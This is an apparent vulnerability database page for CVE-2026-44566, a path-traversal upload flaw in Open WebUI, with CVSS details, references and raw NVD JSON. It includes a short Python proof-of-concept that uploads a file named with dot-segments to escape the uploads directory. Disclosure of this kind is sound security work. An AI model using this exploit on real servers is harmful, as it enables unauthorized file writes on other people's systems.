CVE-2026-44566

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, when attaching files to a promp, the name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This vulnerability is fixed in 0.1.124.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.1.124

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # Malicious filename using path traversal
    filename = "../../tmp/poc.txt"
    file_content = b"CVE-2026-44566 Proof of Concept"
    
    # Construct multipart upload
    files = {'file': (filename, file_content, 'text/plain')}
    
    try:
        response = requests.post(target_url, files=files)
        if response.status_code == 200:
            print(f"[+] Success: File written to {filename}")
        else:
            print(f"[-] Failed: HTTP {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    exploit("http://target-host/api/upload")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44566
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44566
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44566/
[4] VulDB https://vuldb.com/cve/CVE-2026-44566
[5] https://github.com/open-webui/open-webui/security/advisories/GHSA-9pgh-j74g-qj6m

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44566", "sourceIdentifier": "[email protected]", "published": "2026-05-15T22:16:52.920", "lastModified": "2026-05-15T22:16:52.920", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.1.124, when attaching files to a promp, the name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This vulnerability is fixed in 0.1.124."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-9pgh-j74g-qj6m", "source": "[email protected]"}]}}